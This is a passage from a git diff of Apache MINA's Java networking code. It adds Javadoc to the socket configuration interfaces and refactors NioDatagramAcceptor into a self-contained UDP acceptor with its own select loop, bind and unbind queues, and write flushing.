return reuseAddress; } + /** + * {@inheritDoc} + */ + @Override public void setReuseAddress(boolean reuseAddress) { this.reuseAddress = reuseAddress; } + /** + * {@inheritDoc} + */ + @Override public int getReceiveBufferSize() { return receiveBufferSize; } + /** + * {@inheritDoc} + */ + @Override public void setReceiveBufferSize(int receiveBufferSize) { this.receiveBufferSize = receiveBufferSize; } + /** + * {@inheritDoc} + */ + @Override public int getSendBufferSize() { return sendBufferSize; } + /** + * {@inheritDoc} + */ + @Override public void setSendBufferSize(int sendBufferSize) { this.sendBufferSize = sendBufferSize; } + /** + * {@inheritDoc} + */ + @Override public int getTrafficClass() { return trafficClass; } + /** + * {@inheritDoc} + */ + @Override public void setTrafficClass(int trafficClass) { this.trafficClass = trafficClass; } + /** + * {@inheritDoc} + */ + @Override public boolean isKeepAlive() { return keepAlive; } + /** + * {@inheritDoc} + */ + @Override public void setKeepAlive(boolean keepAlive) { this.keepAlive = keepAlive; } + /** + * {@inheritDoc} + */ + @Override public boolean isOobInline() { return oobInline; } + /** + * {@inheritDoc} + */ + @Override public void setOobInline(boolean oobInline) { this.oobInline = oobInline; } + /** + * {@inheritDoc} + */ + @Override public int getSoLinger() { return soLinger; } + /** + * {@inheritDoc} + */ + @Override public void setSoLinger(int soLinger) { this.soLinger = soLinger; } + /** + * {@inheritDoc} + */ + @Override public boolean isTcpNoDelay() { return tcpNoDelay; } + /** + * {@inheritDoc} + */ + @Override public void setTcpNoDelay(boolean tcpNoDelay) { this.tcpNoDelay = tcpNoDelay; } + /** + * {@inheritDoc} + */ @Override protected boolean isKeepAliveChanged() { return keepAlive != DEFAULT_KEEP_ALIVE; } + /** + * {@inheritDoc} + */ @Override protected boolean isOobInlineChanged() { return oobInline != DEFAULT_OOB_INLINE; } + /** + * {@inheritDoc} + */ @Override protected boolean isReceiveBufferSizeChanged() { return receiveBufferSize != -1; } + /** + * {@inheritDoc} + */ @Override protected boolean isReuseAddressChanged() { return reuseAddress != defaultReuseAddress; } + /** + * {@inheritDoc} + */ @Override protected boolean isSendBufferSizeChanged() { return sendBufferSize != -1; } + /** + * {@inheritDoc} + */ @Override protected boolean isSoLingerChanged() { return soLinger != DEFAULT_SO_LINGER; } + /** + * {@inheritDoc} + */ @Override protected boolean isTcpNoDelayChanged() { return tcpNoDelay != DEFAULT_TCP_NO_DELAY; } + /** + * {@inheritDoc} + */ @Override protected boolean isTrafficClassChanged() { return trafficClass != DEFAULT_TRAFFIC_CLASS; diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/SocketAcceptor.java b/mina-core/src/main/java/org/apache/mina/transport/socket/SocketAcceptor.java index bcf7ee6170..1e4bdce3da 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/SocketAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/SocketAcceptor.java @@ -21,6 +21,7 @@ import java.net.InetSocketAddress; import java.net.ServerSocket; +import java.util.Set; import org.apache.mina.core.service.IoAcceptor; @@ -31,34 +32,63 @@ * @author Apache MINA Project */ public interface SocketAcceptor extends IoAcceptor { + /** + * @return the local InetSocketAddress which is bound currently. If more than one + * address are bound, only one of them will be returned, but it's not + * necessarily the firstly bound address. + * This method overrides the {@link IoAcceptor#getLocalAddress()} method. + */ + @Override InetSocketAddress getLocalAddress(); + + /** + * @return a {@link Set} of the local InetSocketAddress which are bound currently. + * This method overrides the {@link IoAcceptor#getDefaultLocalAddress()} method. + */ + @Override InetSocketAddress getDefaultLocalAddress(); + + /** + * Sets the default local InetSocketAddress to bind when no argument is specified in + * {@link #bind()} method. Please note that the default will not be used + * if any local InetSocketAddress is specified. + * This method overrides the {@link IoAcceptor#setDefaultLocalAddress(java.net.SocketAddress)} method. + * + * @param localAddress The local address + */ void setDefaultLocalAddress(InetSocketAddress localAddress); /** * @see ServerSocket#getReuseAddress() + * + * @return true if the SO_REUSEADDR is enabled */ - public boolean isReuseAddress(); + boolean isReuseAddress(); /** * @see ServerSocket#setReuseAddress(boolean) + * + * @param reuseAddress tells if the SO_REUSEADDR is to be enabled */ - public void setReuseAddress(boolean reuseAddress); + void setReuseAddress(boolean reuseAddress); /** - * Returns the size of the backlog. + * @return the size of the backlog. */ - public int getBacklog(); + int getBacklog(); /** * Sets the size of the backlog. This can only be done when this * class is not bound + * + * @param backlog The backlog's size */ - public void setBacklog(int backlog); - + void setBacklog(int backlog); + /** - * Returns the default configuration of the new SocketSessions created by + * @return the default configuration of the new SocketSessions created by * this acceptor service. */ + @Override SocketSessionConfig getSessionConfig(); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/SocketConnector.java b/mina-core/src/main/java/org/apache/mina/transport/socket/SocketConnector.java index de6b13eec5..0254c5555b 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/SocketConnector.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/SocketConnector.java @@ -23,28 +23,33 @@ import org.apache.mina.core.service.IoConnector; - /** * {@link IoConnector} for socket transport (TCP/IP). * * @author Apache MINA Project */ public interface SocketConnector extends IoConnector { - /** - * {@inheritDoc} + * @return the default remote InetSocketAddress to connect to when no argument + * is specified in {@link #connect()} method. + * This method overrides the {@link IoConnector#getDefaultRemoteAddress()} method. */ + @Override InetSocketAddress getDefaultRemoteAddress(); - + /** - * TODO : add documentation - * @param remoteAddress + * @return the default configuration of the new SocketSessions created by + * this connect service. */ - void setDefaultRemoteAddress(InetSocketAddress remoteAddress); + @Override + SocketSessionConfig getSessionConfig(); /** - * Returns the default configuration of the new SocketSessions created by - * this connect service. + * Sets the default remote InetSocketAddress to connect to when no argument is + * specified in {@link #connect()} method. + * This method overrides the {@link IoConnector#setDefaultRemoteAddress(java.net.SocketAddress)} method. + * + * @param remoteAddress The remote address to set */ - SocketSessionConfig getSessionConfig(); + void setDefaultRemoteAddress(InetSocketAddress remoteAddress); } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/SocketSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/socket/SocketSessionConfig.java index 5b8254e2bc..26e3df9cd1 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/SocketSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/SocketSessionConfig.java @@ -31,78 +31,105 @@ public interface SocketSessionConfig extends IoSessionConfig { /** * @see Socket#getReuseAddress() + * + * @return true if SO_REUSEADDR is enabled. */ boolean isReuseAddress(); /** * @see Socket#setReuseAddress(boolean) + * + * @param reuseAddress Tells if SO_REUSEADDR is enabled or disabled */ void setReuseAddress(boolean reuseAddress); /** * @see Socket#getReceiveBufferSize() + * + * @return the size of the receive buffer */ int getReceiveBufferSize(); /** * @see Socket#setReceiveBufferSize(int) + * + * @param receiveBufferSize The size of the receive buffer */ void setReceiveBufferSize(int receiveBufferSize); /** * @see Socket#getSendBufferSize() + * + * @return the size of the send buffer */ int getSendBufferSize(); /** * @see Socket#setSendBufferSize(int) + * + * @param sendBufferSize The size of the send buffer */ void setSendBufferSize(int sendBufferSize); /** * @see Socket#getTrafficClass() + * + * @return the traffic class */ int getTrafficClass(); /** * @see Socket#setTrafficClass(int) + * + * @param trafficClass The traffic class to set, one of IPTOS_LOWCOST (0x02) + * IPTOS_RELIABILITY (0x04), IPTOS_THROUGHPUT (0x08) or IPTOS_LOWDELAY (0x10) */ void setTrafficClass(int trafficClass); /** * @see Socket#getKeepAlive() + * + * @return true if SO_KEEPALIVE is enabled. */ boolean isKeepAlive(); /** * @see Socket#setKeepAlive(boolean) + * + * @param keepAlive if SO_KEEPALIVE is to be enabled */ void setKeepAlive(boolean keepAlive); /** * @see Socket#getOOBInline() + * + * @return true if SO_OOBINLINE is enabled. */ boolean isOobInline(); /** * @see Socket#setOOBInline(boolean) + * + * @param oobInline if SO_OOBINLINE is to be enabled */ void setOobInline(boolean oobInline); /** - * Please note that enabling SO_LINGER in Java NIO can result + * Please note that enabling SO_LINGER in Java NIO can result * in platform-dependent behavior and unexpected blocking of I/O thread. * * @see Socket#getSoLinger() * @see Sun Bug Database + * + * @return The value for SO_LINGER */ int getSoLinger(); /** - * Please note that enabling SO_LINGER in Java NIO can result - * in platform-dependent behavior and unexpected blocking of I/O thread. + * Please note that enabling SO_LINGER in Java NIO can result + * in platform-dependent behaviour and unexpected blocking of I/O thread. * - * @param soLinger Please specify a negative value to disable SO_LINGER. + * @param soLinger Please specify a negative value to disable SO_LINGER. * * @see Socket#setSoLinger(boolean, int) * @see Sun Bug Database @@ -111,11 +138,15 @@ public interface SocketSessionConfig extends IoSessionConfig { /** * @see Socket#getTcpNoDelay() + * + * @return true if TCP_NODELAY is enabled. */ boolean isTcpNoDelay(); /** * @see Socket#setTcpNoDelay(boolean) + * + * @param tcpNoDelay true if TCP_NODELAY is to be enabled */ void setTcpNoDelay(boolean tcpNoDelay); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramAcceptor.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramAcceptor.java index 29eb3986af..f318797ada 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramAcceptor.java @@ -19,23 +19,45 @@ */ package org.apache.mina.transport.socket.nio; +import java.io.IOException; +import java.net.Inet4Address; +import java.net.Inet6Address; +import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.SocketAddress; +import java.nio.channels.ClosedSelectorException; import java.nio.channels.DatagramChannel; import java.nio.channels.SelectionKey; import java.nio.channels.Selector; -import java.util.Collection; +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Queue; +import java.util.Set; +import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.Executor; +import java.util.concurrent.Semaphore; +import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.core.polling.AbstractPollingConnectionlessIoAcceptor; +import org.apache.mina.core.service.AbstractIoAcceptor; import org.apache.mina.core.service.IoAcceptor; import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.service.TransportMetadata; +import org.apache.mina.core.session.AbstractIoSession; +import org.apache.mina.core.session.ExpiringSessionRecycler; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.core.session.IoSessionConfig; +import org.apache.mina.core.session.IoSessionRecycler; +import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.core.write.WriteRequestQueue; import org.apache.mina.transport.socket.DatagramAcceptor; import org.apache.mina.transport.socket.DatagramSessionConfig; import org.apache.mina.transport.socket.DefaultDatagramSessionConfig; +import org.apache.mina.util.ExceptionMonitor; /** * {@link IoAcceptor} for datagram transport (UDP/IP). @@ -43,81 +65,564 @@ * @author Apache MINA Project * @org.apache.xbean.XBean */ -public final class NioDatagramAcceptor - extends AbstractPollingConnectionlessIoAcceptor - implements DatagramAcceptor { +public final class NioDatagramAcceptor extends AbstractIoAcceptor implements DatagramAcceptor, IoProcessor { + /** + * A session recycler that is used to retrieve an existing session, unless it's too old. + **/ + private static final IoSessionRecycler DEFAULT_RECYCLER = new ExpiringSessionRecycler(); + + /** + * A timeout used for the select, as we need to get out to deal with idle + * sessions + */ + private static final long SELECT_TIMEOUT = 1000L; + + /** A lock used to protect the selector to be waked up before it's created */ + private final Semaphore lock = new Semaphore(1); + + /** A queue used to store the list of pending Binds */ + private final Queue registerQueue = new ConcurrentLinkedQueue<>(); + + private final Queue cancelQueue = new ConcurrentLinkedQueue<>(); + + private final Queue flushingSessions = new ConcurrentLinkedQueue<>(); + + private final Map boundHandles = Collections + .synchronizedMap(new HashMap<>()); + + private IoSessionRecycler sessionRecycler = DEFAULT_RECYCLER; + private final ServiceOperationFuture disposalFuture = new ServiceOperationFuture(); + + private volatile boolean selectable; + + /** The thread responsible of accepting incoming requests */ + private Acceptor acceptor; + + private long lastIdleCheckTime; + + /** The Selector used by this acceptor */ private volatile Selector selector; /** * Creates a new instance. */ public NioDatagramAcceptor() { - super(new DefaultDatagramSessionConfig()); + this(new DefaultDatagramSessionConfig(), null); } /** * Creates a new instance. + * + * @param executor The executor to use */ public NioDatagramAcceptor(Executor executor) { - super(new DefaultDatagramSessionConfig(), executor); + this(new DefaultDatagramSessionConfig(), executor); } - - @Override + + /** + * Creates a new instance. + */ + private NioDatagramAcceptor(IoSessionConfig sessionConfig, Executor executor) { + super(sessionConfig, executor); + + try { + init(); + selectable = true; + } catch (RuntimeException e) { + throw e; + } catch (Exception e) { + throw new RuntimeIoException("Failed to initialize.", e); + } finally { + if (!selectable) { + try { + destroy(); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } + } + } + } + + /** + * This private class is used to accept incoming connection from + * clients. It's an infinite loop, which can be stopped when all + * the registered handles have been removed (unbound). + */ + private class Acceptor implements Runnable { + @Override + public void run() { + int nHandles = 0; + lastIdleCheckTime = System.currentTimeMillis(); + + // Release the lock + lock.release(); + + while (selectable) { + try { + int selected = select(SELECT_TIMEOUT); + + nHandles += registerHandles(); + + if (nHandles == 0) { + try { + lock.acquire(); + + if (registerQueue.isEmpty() && cancelQueue.isEmpty()) { + acceptor = null; + break; + } + } finally { + lock.release(); + } + } + + if (selected > 0) { + processReadySessions(selectedHandles()); + } + + long currentTime = System.currentTimeMillis(); + flushSessions(currentTime); + nHandles -= unregisterHandles(); + + notifyIdleSessions(currentTime); + } catch (ClosedSelectorException cse) { + // If the selector has been closed, we can exit the loop + ExceptionMonitor.getInstance().exceptionCaught(cse); + break; + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + + try { + Thread.sleep(1000); + } catch (InterruptedException e1) { + } + } + } + + if (selectable && isDisposing()) { + selectable = false; + try { + destroy(); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } finally { + disposalFuture.setValue(true); + } + } + } + } + + private int registerHandles() { + for (;;) { + AcceptorOperationFuture req = registerQueue.poll(); + + if (req == null) { + break; + } + + Map newHandles = new HashMap<>(); + List localAddresses = req.getLocalAddresses(); + + try { + for (SocketAddress socketAddress : localAddresses) { + DatagramChannel handle = open(socketAddress); + newHandles.put(localAddress(handle), handle); + } + + boundHandles.putAll(newHandles); + + getListeners().fireServiceActivated(); + req.setDone(); + + return newHandles.size(); + } catch (Exception e) { + req.setException(e); + } finally { + // Roll back if failed to bind all addresses. + if (req.getException() != null) { + for (DatagramChannel handle : newHandles.values()) { + try { + close(handle); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } + } + + wakeup(); + } + } + } + + return 0; + } + + private void processReadySessions(Set handles) { + final Iterator iterator = handles.iterator(); + + while (iterator.hasNext()) { + try { + final SelectionKey key = iterator.next(); + final DatagramChannel handle = (DatagramChannel) key.channel(); + + if (key.isValid()) { + if (key.isReadable()) { + readHandle(handle); + } + + if (key.isWritable()) { + for (IoSession session : getManagedSessions().values()) { + final NioSession x = (NioSession) session; + if (x.getChannel() == handle) { + scheduleFlush(x); + } + } + } + } + + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } finally { + iterator.remove(); + } + } + } + + private boolean scheduleFlush(NioSession session) { + // Set the schedule for flush flag if the session + // has not already be added to the flushingSessions + // queue + if (session.setScheduledForFlush(true)) { + flushingSessions.add(session); + return true; + } else { + return false; + } + } + + private void readHandle(DatagramChannel handle) throws Exception { + IoBuffer readBuf = IoBuffer.allocate(getSessionConfig().getReadBufferSize()); + + SocketAddress remoteAddress = receive(handle, readBuf); + + if (remoteAddress != null) { + IoSession session = newSessionWithoutLock(remoteAddress, localAddress(handle)); + + readBuf.flip(); + + if (!session.isReadSuspended()) { + session.getFilterChain().fireMessageReceived(readBuf); + } + } + } + + private IoSession newSessionWithoutLock(SocketAddress remoteAddress, SocketAddress localAddress) throws Exception { + DatagramChannel handle = boundHandles.get(localAddress); + + if (handle == null) { + throw new IllegalArgumentException("Unknown local address: " + localAddress); + } + + IoSession session; + + synchronized (sessionRecycler) { + session = sessionRecycler.recycle(remoteAddress, ((InetSocketAddress)localAddress).getPort()); + + if (session != null) { + return session; + } + + // If a new session needs to be created. + NioSession newSession = newSession(this, handle, remoteAddress); + getSessionRecycler().put(newSession); + session = newSession; + } + + initSession(session, null, null); + + try { + this.getFilterChainBuilder().buildFilterChain(session.getFilterChain()); + getListeners().fireSessionCreated(session); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } + + return session; + } + + private void flushSessions(long currentTime) { + for (;;) { + NioSession session = flushingSessions.poll(); + + if (session == null) { + break; + } + + // Reset the Schedule for flush flag for this session, + // as we are flushing it now + session.unscheduledForFlush(); + + try { + boolean flushedAll = flush(session, currentTime); + + if (flushedAll && !session.getWriteRequestQueue().isEmpty(session) && !session.isScheduledForFlush()) { + scheduleFlush(session); + } + } catch (Exception e) { + session.getFilterChain().fireExceptionCaught(e); + } + } + } + + private boolean flush(NioSession session, long currentTime) throws Exception { + final WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + final int maxWrittenBytes = session.getConfig().getMaxReadBufferSize() + + (session.getConfig().getMaxReadBufferSize() >>> 1); + + int writtenBytes = 0; + + try { + for (;;) { + WriteRequest req = session.getCurrentWriteRequest(); + + if (req == null) { + req = writeRequestQueue.poll(session); + + if (req == null) { + setInterestedInWrite(session, false); + break; + } + + session.setCurrentWriteRequest(req); + } + + IoBuffer buf = (IoBuffer) req.getMessage(); + + if (buf.remaining() == 0) { + // Clear and fire event + session.setCurrentWriteRequest(null); + buf.reset(); + session.getFilterChain().fireMessageSent(req); + continue; + } + + SocketAddress destination = req.getDestination(); + + if (destination == null) { + destination = session.getRemoteAddress(); + } + + int localWrittenBytes = send(session, buf, destination); + + if ((localWrittenBytes == 0) || (writtenBytes >= maxWrittenBytes)) { + // Kernel buffer is full or wrote too much + setInterestedInWrite(session, true); + + return false; + } else { + setInterestedInWrite(session, false); + + // Clear and fire event + session.setCurrentWriteRequest(null); + writtenBytes += localWrittenBytes; + buf.reset(); + session.getFilterChain().fireMessageSent(req); + } + } + } finally { + session.increaseWrittenBytes(writtenBytes, currentTime); + } + + return true; + } + + private int unregisterHandles() { + int nHandles = 0; + + for (;;) { + AcceptorOperationFuture request = cancelQueue.poll(); + if (request == null) { + break; + } + + // close the channels + for (SocketAddress socketAddress : request.getLocalAddresses()) { + DatagramChannel handle = boundHandles.remove(socketAddress); + + if (handle == null) { + continue; + } + + try { + close(handle); + wakeup(); // wake up again to trigger thread death + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } finally { + nHandles++; + } + } + + request.setDone(); + } + + return nHandles; + } + + private void notifyIdleSessions(long currentTime) { + // process idle sessions + if (currentTime - lastIdleCheckTime >= 1000) { + lastIdleCheckTime = currentTime; + AbstractIoSession.notifyIdleness(getListeners().getManagedSessions().values().iterator(), currentTime); + } + } + + /** + * Starts the inner Acceptor thread. + */ + private void startupAcceptor() throws InterruptedException { + if (!selectable) { + registerQueue.clear(); + cancelQueue.clear(); + flushingSessions.clear(); + } + + lock.acquire(); + + if (acceptor == null) { + acceptor = new Acceptor(); + executeWorker(acceptor); + } else { + lock.release(); + } + } + protected void init() throws Exception { this.selector = Selector.open(); } + /** + * {@inheritDoc} + */ + @Override + public void add(NioSession session) { + // Nothing to do for UDP + } + + /** + * {@inheritDoc} + */ @Override + protected final Set bindInternal(List localAddresses) throws Exception { + // Create a bind request as a Future operation. When the selector + // have handled the registration, it will signal this future. + AcceptorOperationFuture request = new AcceptorOperationFuture(localAddresses); + + // adds the Registration request to the queue for the Workers + // to handle + registerQueue.add(request); + + // creates the Acceptor instance and has the local + // executor kick it off. + startupAcceptor(); + + // As we just started the acceptor, we have to unblock the select() + // in order to process the bind request we just have added to the + // registerQueue. + try { + lock.acquire(); + + // Wait a bit to give a chance to the Acceptor thread to do the select() + Thread.sleep(10); + wakeup(); + } finally { + lock.release(); + } + + // Now, we wait until this request is completed. + request.awaitUninterruptibly(); + + if (request.getException() != null) { + throw request.getException(); + } + + // Update the local addresses. + // setLocalAddresses() shouldn't be called from the worker thread + // because of deadlock. + Set newLocalAddresses = new HashSet<>(); + + for (DatagramChannel handle : boundHandles.values()) { + newLocalAddresses.add(localAddress(handle)); + } + + return newLocalAddresses; + } + + protected void close(DatagramChannel handle) throws Exception { + SelectionKey key = handle.keyFor(selector); + + if (key != null) { + key.cancel(); + } + + handle.disconnect(); + handle.close(); + } + protected void destroy() throws Exception { if (selector != null) { selector.close(); } } - public TransportMetadata getTransportMetadata() { - return NioDatagramSession.METADATA; - } - + /** + * {@inheritDoc} + */ @Override - public DatagramSessionConfig getSessionConfig() { - return (DatagramSessionConfig) super.getSessionConfig(); + protected void dispose0() throws Exception { + unbind(); + startupAcceptor(); + wakeup(); } + /** + * {@inheritDoc} + */ @Override - public InetSocketAddress getLocalAddress() { - return (InetSocketAddress) super.getLocalAddress(); + public void flush(NioSession session) { + if (scheduleFlush(session)) { + wakeup(); + } } - + @Override public InetSocketAddress getDefaultLocalAddress() { return (InetSocketAddress) super.getDefaultLocalAddress(); } - public void setDefaultLocalAddress(InetSocketAddress localAddress) { - setDefaultLocalAddress((SocketAddress) localAddress); + @Override + public InetSocketAddress getLocalAddress() { + return (InetSocketAddress) super.getLocalAddress(); } + /** + * {@inheritDoc} + */ @Override - protected DatagramChannel open(SocketAddress localAddress) throws Exception { - final DatagramChannel c = DatagramChannel.open(); - boolean success = false; - try { - new NioDatagramSessionConfig(c).setAll(getSessionConfig()); - c.configureBlocking(false); - c.socket().bind(localAddress); - c.register(selector, SelectionKey.OP_READ); - success = true; - } finally { - if (!success) { - close(c); - } - } + public DatagramSessionConfig getSessionConfig() { + return (DatagramSessionConfig) sessionConfig; + } - return c; + @Override + public final IoSessionRecycler getSessionRecycler() { + return sessionRecycler; } @Override + public TransportMetadata getTransportMetadata() { + return NioDatagramSession.METADATA; + } + protected boolean isReadable(DatagramChannel handle) { SelectionKey key = handle.keyFor(selector); @@ -128,7 +633,6 @@ protected boolean isReadable(DatagramChannel handle) { return key.isReadable(); } - @Override protected boolean isWritable(DatagramChannel handle) { SelectionKey key = handle.keyFor(selector); @@ -139,115 +643,278 @@ protected boolean isWritable(DatagramChannel handle) { return key.isWritable(); } - @Override - protected SocketAddress localAddress(DatagramChannel handle) - throws Exception { - return handle.socket().getLocalSocketAddress(); + protected SocketAddress localAddress(DatagramChannel handle) throws Exception { + InetSocketAddress inetSocketAddress = (InetSocketAddress) handle.socket().getLocalSocketAddress(); + InetAddress inetAddress = inetSocketAddress.getAddress(); + + if ((inetAddress instanceof Inet6Address) && (((Inet6Address) inetAddress).isIPv4CompatibleAddress())) { + // Ugly hack to workaround a problem on linux : the ANY address is always converted to IPV6 + // even if the original address was an IPV4 address. We do store the two IPV4 and IPV6 + // ANY address in the map. + byte[] ipV6Address = ((Inet6Address) inetAddress).getAddress(); + byte[] ipV4Address = new byte[4]; + + System.arraycopy(ipV6Address, 12, ipV4Address, 0, 4); + + InetAddress inet4Adress = Inet4Address.getByAddress(ipV4Address); + return new InetSocketAddress(inet4Adress, inetSocketAddress.getPort()); + } else { + return inetSocketAddress; + } } - @Override - protected NioSession newSession( - IoProcessor processor, DatagramChannel handle, + protected NioSession newSession(IoProcessor processor, DatagramChannel handle, SocketAddress remoteAddress) { SelectionKey key = handle.keyFor(selector); - + if ((key == null) || (!key.isValid())) { return null; } - - NioDatagramSession newSession = new NioDatagramSession( - this, handle, processor, remoteAddress); + + NioDatagramSession newSession = new NioDatagramSession(this, handle, processor, remoteAddress); newSession.setSelectionKey(key); - + return newSession; } + /** + * {@inheritDoc} + */ @Override - protected SocketAddress receive(DatagramChannel handle, IoBuffer buffer) - throws Exception { + public final IoSession newSession(SocketAddress remoteAddress, SocketAddress localAddress) { + if (isDisposing()) { + throw new IllegalStateException("The Acceptor is being disposed."); + } + + if (remoteAddress == null) { + throw new IllegalArgumentException("remoteAddress"); + } + + synchronized (bindLock) { + if (!isActive()) { + throw new IllegalStateException("Can't create a session from a unbound service."); + } + + try { + return newSessionWithoutLock(remoteAddress, localAddress); + } catch (RuntimeException | Error e) { + throw e; + } catch (Exception e) { + throw new RuntimeIoException("Failed to create a session.", e); + } + } + } + + protected DatagramChannel open(SocketAddress localAddress) throws Exception { + final DatagramChannel ch = DatagramChannel.open(); + boolean success = false; + try { + new NioDatagramSessionConfig(ch).setAll(getSessionConfig()); + ch.configureBlocking(false); + + try { + ch.socket().bind(localAddress); + } catch (IOException ioe) { + // Add some info regarding the address we try to bind to the + // message + String newMessage = "Error while binding on " + localAddress + "\n" + "original message : " + + ioe.getMessage(); + Exception e = new IOException(newMessage); + e.initCause(ioe.getCause()); + + // And close the channel + ch.close(); + + throw e; + } + + ch.register(selector, SelectionKey.OP_READ); + success = true; + } finally { + if (!success) { + close(ch); + } + } + + return ch; + } + + protected SocketAddress receive(DatagramChannel handle, IoBuffer buffer) throws Exception { return handle.receive(buffer.buf()); } + /** + * {@inheritDoc} + */ @Override + public void remove(NioSession session) { + getSessionRecycler().remove(session); + getListeners().fireSessionDestroyed(session); + } + protected int select() throws Exception { return selector.select(); } - @Override protected int select(long timeout) throws Exception { return selector.select(timeout); } - @Override - protected Iterator selectedHandles() { - return new DatagramChannelIterator(selector.selectedKeys()); + protected Set selectedHandles() { + return selector.selectedKeys(); } - @Override - protected int send(NioSession session, IoBuffer buffer, - SocketAddress remoteAddress) throws Exception { - return ((DatagramChannel) session.getChannel()).send( - buffer.buf(), remoteAddress); + protected int send(NioSession session, IoBuffer buffer, SocketAddress remoteAddress) throws Exception { + return ((DatagramChannel) session.getChannel()).send(buffer.buf(), remoteAddress); } @Override - protected void setInterestedInWrite(NioSession session, boolean isInterested) - throws Exception { + public void setDefaultLocalAddress(InetSocketAddress localAddress) { + setDefaultLocalAddress((SocketAddress) localAddress); + } + + protected void setInterestedInWrite(NioSession session, boolean isInterested) throws Exception { SelectionKey key = session.getSelectionKey(); if (key == null) { return; } - + int newInterestOps = key.interestOps(); if (isInterested) { newInterestOps |= SelectionKey.OP_WRITE; - //newInterestOps &= ~SelectionKey.OP_READ; } else { newInterestOps &= ~SelectionKey.OP_WRITE; - //newInterestOps |= SelectionKey.OP_READ; } key.interestOps(newInterestOps); } @Override - protected void close(DatagramChannel handle) throws Exception { - SelectionKey key = handle.keyFor(selector); + public final void setSessionRecycler(IoSessionRecycler sessionRecycler) { + synchronized (bindLock) { + if (isActive()) { + throw new IllegalStateException("sessionRecycler can't be set while the acceptor is bound."); + } - if (key != null) { - key.cancel(); + if (sessionRecycler == null) { + sessionRecycler = DEFAULT_RECYCLER; + } + + this.sessionRecycler = sessionRecycler; + } + } + + /** + * {@inheritDoc} + */ + @Override + protected final void unbind0(List localAddresses) throws Exception { + AcceptorOperationFuture request = new AcceptorOperationFuture(localAddresses); + + cancelQueue.add(request); + startupAcceptor(); + wakeup(); + + request.awaitUninterruptibly(); + + if (request.getException() != null) { + throw request.getException(); } - - handle.disconnect(); - handle.close(); } + /** + * {@inheritDoc} + */ @Override + public void updateTrafficControl(NioSession session) { + // Nothing to do + } + protected void wakeup() { selector.wakeup(); } - - private static class DatagramChannelIterator implements Iterator { - - private final Iterator i; - - private DatagramChannelIterator(Collection keys) { - this.i = keys.iterator(); - } - - public boolean hasNext() { - return i.hasNext(); - } - public DatagramChannel next() { - return (DatagramChannel) i.next().channel(); + /** + * {@inheritDoc} + */ + @Override + public void write(NioSession session, WriteRequest writeRequest) { + // We will try to write the message directly + long currentTime = System.currentTimeMillis(); + final WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + final int maxWrittenBytes = session.getConfig().getMaxReadBufferSize() + + (session.getConfig().getMaxReadBufferSize() >>> 1); + + int writtenBytes = 0; + + // Deal with the special case of a Message marker (no bytes in the request) + // We just have to return after having calle dthe messageSent event + IoBuffer buf = (IoBuffer) writeRequest.getMessage(); + + if (buf.remaining() == 0) { + // Clear and fire event + session.setCurrentWriteRequest(null); + buf.reset(); + session.getFilterChain().fireMessageSent(writeRequest); + return; } - public void remove() { - i.remove(); + // Now, write the data + try { + for (;;) { + if (writeRequest == null) { + writeRequest = writeRequestQueue.poll(session); + + if (writeRequest == null) { + setInterestedInWrite(session, false); + break; + } + + session.setCurrentWriteRequest(writeRequest); + } + + buf = (IoBuffer) writeRequest.getMessage(); + + if (buf.remaining() == 0) { + // Clear and fire event + session.setCurrentWriteRequest(null); + session.getFilterChain().fireMessageSent(writeRequest); + continue; + } + + SocketAddress destination = writeRequest.getDestination(); + + if (destination == null) { + destination = session.getRemoteAddress(); + } + + int localWrittenBytes = send(session, buf, destination); + + if ((localWrittenBytes == 0) || (writtenBytes >= maxWrittenBytes)) { + // Kernel buffer is full or wrote too much + setInterestedInWrite(session, true); + + writeRequestQueue.offer(session, writeRequest); + scheduleFlush(session); + + break; + } else { + setInterestedInWrite(session, false); + + // Clear and fire event + session.setCurrentWriteRequest(null); + writtenBytes += localWrittenBytes; + session.getFilterChain().fireMessageSent(writeRequest); + + break; + } + } + } catch (Exception e) { + session.getFilterChain().fireExceptionCaught(e); + } finally { + session.increaseWrittenBytes(writtenBytes, currentTime); } - } } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramConnector.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramConnector.java index 8b8e9dc21b..73f45c7a67 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramConnector.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramConnector.java @@ -19,15 +19,18 @@ */ package org.apache.mina.transport.socket.nio; +import java.io.IOException; import java.net.InetSocketAddress; import java.net.SocketAddress; import 